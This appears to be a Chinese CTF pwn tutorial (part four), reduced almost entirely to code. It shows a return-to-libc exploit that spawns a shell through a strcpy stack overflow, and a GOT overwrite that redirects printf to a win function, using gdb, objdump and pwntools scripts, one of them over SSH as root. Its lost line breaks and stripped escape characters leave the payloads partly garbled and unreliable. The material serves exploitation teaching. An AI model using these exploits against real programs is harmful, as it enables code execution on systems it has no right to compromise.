从0开始CTF-PWN（四）ROP绕过栈可执行保护与GOT表劫持

#include <stdio.h>#include <string.h>
int main(int argc, char* argv[]) {    char buf[128];    if (argc < 2) return 1;    strcpy(buf, argv[1]);    printf("Input:%sn", buf);    return 0;}

gcc-4.8 -g -m32 -O0 -fno-stack-protector -o pwn_test_bof3_32-gcc4.8 pwn_test_bof2.c

system("/bin/sh");return xxx;

# 开始调试gdb -q -args ./pwn_test_bof3_32-gcc4.8 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgdb-peda$ starti# 运行gdb-peda$ r# 查询关键systemgdb-peda$ print system# 查询/bin/shgdb-peda$ find "/bin/sh"

# 执行./pwn_test_bof3_32-gcc4.8 $(python -c 'print "a"*140 + "xf0Exe1xf7" + "1111" + "x06x84xf5xf7"')

# coding:utf-8from pwn import * context(arch='amd64', os='linux') # 注意系统重启后地址可能会发生变化，需要重新获取system_addr = 0xf7e145f0binsh_addr = 0xf7f58406 payload = "A" * 140 + p32(system_addr) + "1111" + p32(binsh_addr)p = process(argv=["/home/pwn/test/bof/pwn_test_bof3_32-gcc4.8", payload]) p.interactive()

readelf -S [program]

objdump -R got_hacking_32-gcc4.8

hex(elf.got["printf"])获取printf在GOT表的地址

#include <stdio.h>#include <stdlib.h>void win() {    puts("You Win!");}void main() {    unsigned int addr, value;    scanf("%x=%x", &addr, &value);    *(unsigned int *)addr = value;    printf("set %x=%xn", addr, value);}

gcc-4.8 -m32 -o got_hacking_32-gcc4.8 got_hacking.c

# 读取办法1：gdb中打印gdb-peda$ p win# 外部读取objdump -d got_hacking_32-gcc4.8|grep win

objdump -R got_hacking_32-gcc4.8

objdump是linux反汇编指令。-d(disassemble): 可以显示反汇编后的汇编代码。-R(dynamic-reloc): 显示文件的动态重定位入口，可以用于查找libc等共享库。

# 输入addr(printf)=addr(win)，注意这里的地址不同环境不同0804c00c=0x804918d

# coding:utf-8from pwn import * context(arch='amd64', os='linux')s = ssh(host="10.211.55.6", port=22, user="root", password="") p = s.process(argv=["/home/pwn/test/got_hacking/got_hacking_32-gcc4.8"])elf = p.elf# 获取win函数地址win_addr = hex(elf.sym['win'])# 从got表中获取printf函数地址printf_addr = hex(elf.got['printf'])print ("win_addr: {}".format(win_addr))print ("printf_addr: {}".format(printf_addr)) payload = printf_addr + "=" + win_addrprint ("payload: {}".format(payload)) p.sendline(payload)# 打印输出winprint (p.recvall())